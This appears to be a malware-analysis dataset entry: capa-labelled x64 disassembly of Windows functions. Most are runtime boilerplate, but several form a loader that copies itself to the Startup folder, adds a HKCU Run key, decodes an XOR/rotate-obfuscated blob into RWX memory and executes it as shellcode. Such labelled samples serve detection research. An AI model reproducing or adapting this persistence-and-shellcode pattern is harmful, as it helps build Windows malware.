joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [str.h03_]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [str.d03_]
mov dword [rax], 1
mov rax, qword [0x14032f990]
mov dword [rax], 1
mov rax, qword [0x14032f8f0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x14032f960]
mov dword [0x14033300c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x14032fa40]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [str.p03_]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x14032f8d0]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x1400014e8
Capabilities:
Copy file
Get common file path

Disassembly:
push rbp
sub rsp, 0x450
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0x1c0]
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8d, 0
mov edx, 0x1a
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
call rax
test eax, eax
js 0x1400015b5
lea rax, [rbp + 0x1c0]
lea rdx, str.MicrosoftWindowsStart_MenuProgramsStartup_
mov rcx, rax
call sym.wcscat
lea rax, [rbp + 0x1c0]
lea rdx, [0x14032f060]
mov rcx, rax
call sym.wcscat
lea rax, [rbp - 0x50]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call rax
lea rdx, [rbp + 0x1c0]
lea rax, [rbp - 0x50]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileW]
call rax
test eax, eax
jne 0x1400015a4
lea rax, str.Failed_to_copy_the_executable_to_the_Startup_folder._n
mov rcx, rax
call sym.printf
jmp 0x1400015c5
lea rax, str.Executable_copied_to_the_Startup_folder_successfully._n
mov rcx, rax
call sym.printf
jmp 0x1400015c5
lea rax, str.Failed_to_get_the_path_to_the_Startup_folder._n
mov rcx, rax
call sym.printf
nop
add rsp, 0x450
pop rbp
ret
Function at 0x1400015ce
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push rbp
sub rsp, 0x250
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0x1c0]
mov qword [rsp + 0x20], rax
mov r9d, 0x20006
mov r8d, 0
lea rax, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rdx, rax
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
mov dword [rbp + 0x1cc], eax
cmp dword [rbp + 0x1cc], 0
jne 0x1400016b7
lea rax, [rbp - 0x50]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call rax
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.wcslen
add rax, 1
lea edx, [rax + rax]
mov rax, qword [rbp + 0x1c0]
mov dword [rsp + 0x28], edx
lea rdx, [rbp - 0x50]
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8d, 0
lea rdx, str.MyApp
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
call rax
mov dword [rbp + 0x1cc], eax
cmp dword [rbp + 0x1cc], 0
je 0x1400016a2
lea rax, str.Failed_to_add_to_Run_registry_key._n
mov rcx, rax
call sym.printf
mov rax, qword [rbp + 0x1c0]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
jmp 0x1400016c6
lea rax, str.Failed_to_open_Run_registry_key._n
mov rcx, rax
call sym.printf
nop
add rsp, 0x250
pop rbp
ret
Function at 0x1400016d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push rbx
sub rsp, 0x48
lea rbp, [rsp + 0x40]
call dbg.__main
mov qword [rbp - 0x10], 0x324ffd
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.malloc
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
jne 0x140001718
lea rax, str.Memory_allocation_error
mov rcx, rax
call sym.perror
mov eax, 1
jmp 0x140001857
mov qword [rbp - 8], 0
jmp 0x140001799
lea rdx, section..rdata
mov rax, qword [rbp - 8]
add rax, rdx
movzx eax, byte [rax]
movzx eax, al
mov rcx, qword [rbp - 0x18]
mov rdx, qword [rbp - 8]
lea rbx, [rcx + rdx]
mov ecx, eax
call sym.substitute_reverse
mov byte [rbx], al
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 8]
add rax, rdx
movzx edx, byte [rax]
mov rcx, qword [rbp - 0x18]
mov rax, qword [rbp - 8]
add rax, rcx
xor edx, 0xffffffaa
mov byte [rax], dl
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 8]
add rax, rdx
movzx eax, byte [rax]
movzx eax, al
mov rcx, qword [rbp - 0x18]
mov rdx, qword [rbp - 8]
lea rbx, [rcx + rdx]
mov edx, 3
mov ecx, eax
call sym.rotate_reverse
mov byte [rbx], al
add qword [rbp - 8], 1
mov rax, qword [rbp - 8]
cmp rax, qword [rbp - 0x10]
jb 0x140001722
mov rax, qword [rbp - 0x10]
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 0x20], rax
cmp qword [rbp - 0x20], 0
jne 0x1400017f5
lea rax, str.Failed_to_allocate_executable_memory
mov rcx, rax
call sym.perror
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sym.free
mov eax, 1
jmp 0x140001857
mov rcx, qword [rbp - 0x10]
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x20]
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sym.free
call sym.CopyToStartupFolder
call sym.AddToRunRegistry
lea rax, str.Executing_decrypted_loader..._n
mov rcx, rax
call sym.printf
mov rax, qword [rbp - 0x20]
call rax
mov rax, qword [rbp - 0x20]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov eax, 0
add rsp, 0x48
pop rbx
pop rbp
ret

Function at 0x140001b20
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x140001b90
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140333094]
mov rbx, rcx
test esi, esi
jle 0x140001cc0
mov rax, qword [0x140333098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001bdb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001c65
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001bc0
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140001ce2
mov rax, qword [0x140333098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140333098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001cc7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140001c5e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140001c70
add dword [0x140333094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x140333098]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001c5e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001be8
mov rax, qword [0x140333098]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002270
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140333100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1403330e0]
test rbx, rbx
je 0x1400022cc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x1400022c3
test eax, eax
jne 0x1400022c3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400022a8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400024e0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400024f8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002500
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x140002510
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14000255d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140002554
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000255f
add rax, 0x28
cmp rax, r9
jne 0x140002540
xor eax, eax
ret

Function at 0x140002560
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x1400025f0
mov rdx, qword [0x14032f8f0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x1400025de
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x1400025de
cmp word [rax + 0x18], 0x20b
jne 0x1400025de
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x1400025f0
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x1400025c9
add rbx, 0x28
cmp rbx, rdi
je 0x1400025f0
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x1400025c0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002600
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14032f8f0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002620
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002628
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002620
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000267d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002674
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002620
add rax, 0x28
cmp rax, r9
jne 0x140002660
xor eax, eax
ret

Function at 0x140002680
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14032f8f0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000269f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400026a8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000269f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400026c0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x14032f8f0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x1400026e0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x1400026e8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x1400026e0
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002730
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002727
test rcx, rcx
je 0x1400026e0
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x140002718
xor eax, eax
ret
Function at 0x140002740
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14032f8f0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000275f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002768
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002780
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14032f8f0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400027a0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400027a8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400027a0
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x1400027a0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x1400027f4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002800
add rdx, 0x28
cmp rdx, r9
jne 0x1400027e0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002810
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x14032f8f0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002832
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002840
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002832
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002832
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140002832
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140002895
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x1400028a8
add rdx, 0x28
cmp r10, rdx
jne 0x140002880
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x1400028b7
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x1400028c7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x14000289e
test ecx, ecx
jg 0x1400028b0
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140004fd0
Capabilities:
Move file

Disassembly:
sub rsp, 0x38
mov qword [rsp + 0x40], rcx
call fcn.140072b60
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x40]
call fcn.140072bf0
call fcn.140072d90
call fcn.140072d90
lea rcx, str.Deleting_file
call fcn.140072ec0
mov rcx, qword [rsp + 0x40]
call fcn.140072ec0
call fcn.140072d60
mov rcx, rax
lea rax, str.forceDelete
mov qword [rsp + 0x20], rax
lea r9, [0x140210650]
mov r8d, __WSAFDIsSet
lea rdx, str.roosupport.pbi
call fcn.140001fc0
call fcn.140072cf0
mov rcx, qword [rsp + 0x40]
call fcn.1400640c8
test rax, rax
js 0x140005071
mov edx, pe_nt_image_headers64
mov rcx, qword [rsp + 0x40]
call fcn.1400643b8
mov edx, 2
mov rcx, qword [rsp + 0x40]
call fcn.1400643e8
test rax, rax
je 0x140005088
mov rcx, qword [rsp + 0x40]
call fcn.140072e80
nop
add rsp, 0x38
ret
mov r8d, 4
xor edx, edx
mov rcx, qword [rsp + 0x40]
call sub.KERNEL32.dll_MoveFileExW
jmp 0x140005071

Function at 0x1400050a0
Capabilities:
Get common file path
Move file

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x30
movsxd rcx, ecx
call fcn.140072f30
call fcn.140072b60
mov qword [rsp + 0x28], 0
mov rdx, qword [0x1402104b8]
lea rcx, [0x140210650]
call fcn.140072c60
test eax, eax
jne 0x140005160
call fcn.140072d90
call fcn.140072d90
call fcn.140072ca0
mov edx, eax
mov ecx, 0x104
call fcn.14006ffb0
call fcn.140072ca0
lea rcx, [rsp + 0x28]
mov edx, eax
call fcn.140072df0
mov r9, qword [rsp + 0x28]
xor r8d, r8d
lea rdx, [0x140209858]
mov rcx, qword [0x1402104b8]
call sub.KERNEL32.dll_GetTempFileNameW
mov r8d, 4
xor edx, edx
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_MoveFileExW
call fcn.140072d90
mov rcx, qword [rsp + 0x28]
call fcn.140072ec0
call fcn.140072d60
mov rcx, qword [rsp + 0x28]
call fcn.140072e80
nop
add rsp, 0x30
pop rbx
pop rsi
pop rdi
ret
call fcn.140072d90
call fcn.140072d90
call fcn.140072ca0
mov edx, eax
mov ecx, 0x104
call fcn.14006ffb0
call fcn.140072ca0
mov edx, eax
lea rsi, [0x1402104b8]
mov rcx, rsi
call fcn.140072df0
mov rdx, qword [0x1402104b8]
mov ecx, 0x104
call sub.KERNEL32.dll_GetTempPathW
mov rbx, rax
call fcn.140072d90
call fcn.140072d90
mov rdi, qword [0x1402104b8]
call fcn.140072ca0
mov r8d, eax
mov rdx, rbx
mov rcx, rdi
call fcn.14006fb10
call fcn.140072ca0
mov edx, eax
mov rcx, rsi
call fcn.140072df0
jmp 0x1400050d8
Function at 0x14000d3ac
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbx
sub rsp, 0x20
mov ecx, dword [0x140210660]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rbx, rax
test rax, rax
jne 0x14000d406
mov r8, qword [section..data]
lea edx, [rax + 8]
mov rcx, qword [0x140210620]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [0x140210660]
mov rdx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
mov rcx, rbx
call fcn.140008bd0
mov rdx, rbx
lea rcx, [0x14000d384]
call fcn.14000d550
mov rax, rbx
add rsp, 0x20
pop rbx
ret

Function at 0x14000d410
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [0x140210660], eax
add rsp, 0x28
jmp fcn.14000d3ac

Function at 0x14000d550
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x40
cmp dword [0x140210668], 0
lea rbx, [0x140210678]
mov r14, rdx
mov r15, rcx
jne 0x14000d59d
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov rcx, rbx
mov dword [0x14021066c], eax
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [0x140210668], 1
mov ecx, dword [0x14021066c]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rbp, rax
test rax, rax
jne 0x14000d672
mov rcx, qword [0x140210620]
lea edx, [rax + 8]
lea r8d, [rax + 0x28]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbp, rax
test rax, rax
je 0x14000d69d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [0x140210670]
test rax, rax
je 0x14000d5ed
mov qword [rax], rbp
mov rcx, rbx
mov qword [rbp + 8], rax
mov qword [0x140210670], rbp
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
and dword [rsp + 0x30], 0
lea r9, [rbp + 0x20]
and dword [rsp + 0x28], 0
mov rcx, rax
mov r8, rdi
mov dword [rsp + 0x20], 0x100000
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov rdx, qword [rbp + 0x20]
lea rcx, [rbp + 0x18]
mov r9, rbp
mov dword [rsp + 0x28], 8
or dword [rsp + 0x20], 0xffffffff
lea r8, [0x14000d6b8]
call qword [sym.imp.KERNEL32.dll_RegisterWaitForSingleObject]
mov ecx, dword [0x14021066c]
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
mov rcx, qword [0x140210620]
xor edx, edx
lea r8d, [rdx + 0x18]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000d69d
mov qword [rax + 8], r15
mov qword [rax + 0x10], r14
mov rcx, qword [rbp + 0x10]
mov qword [rax], rcx
mov qword [rbp + 0x10], rax
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x40
pop r15
pop r14
pop rdi
ret
Function at 0x14000e010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000e05a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000e05a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000e05a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000e05a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000e05a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000e05c
xor al, al
add rsp, 0x28
ret

Function at 0x140012ed8
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140012f47
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140012f47
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140012f47
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140012f47
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140012f47
cmp dword [rcx + 0x84], 0xe
jbe 0x140012f47
cmp dword [rcx + 0xf8], 0
je 0x140012f47
mov ecx, ebx
call fcn.14001304c
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140012d0c
nop
cmp dword [rbp + 0x20], 0
je 0x140012f95
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140012fa0
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x140012ed8

Function at 0x140013138
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140012ed8
Function at 0x14001eccc
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.140014f7c
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x14001ed6d
cmp ebx, dword [rsp + 0x30]
je 0x14001ed66
test esi, esi
je 0x14001ed66
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x14001ed41
sub r8w, 0x61
cmp r8w, 0x19
ja 0x14001ed4e
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x14001ed2b
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x14001ed52
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x14001ed6f
mov eax, 1
jmp 0x14001ed6f
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x140020004
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140020034
xor eax, eax
jmp 0x1400200f7
mov rbp, rbx
cmp word [rax], si
je 0x140020059
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140020040
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14002003c
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1400202fc
movsxd r14, eax
test eax, eax
jne 0x140020097
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14002002d
mov rcx, r14
call fcn.140015a00
mov rdi, rax
test rax, rax
jne 0x1400200b0
xor ecx, ecx
call fcn.140013d30
jmp 0x14002008c
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1400202fc
test eax, eax
jne 0x1400200e1
mov rcx, rdi
call fcn.140013d30
jmp 0x1400200eb
xor ecx, ecx
call fcn.140013d30
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret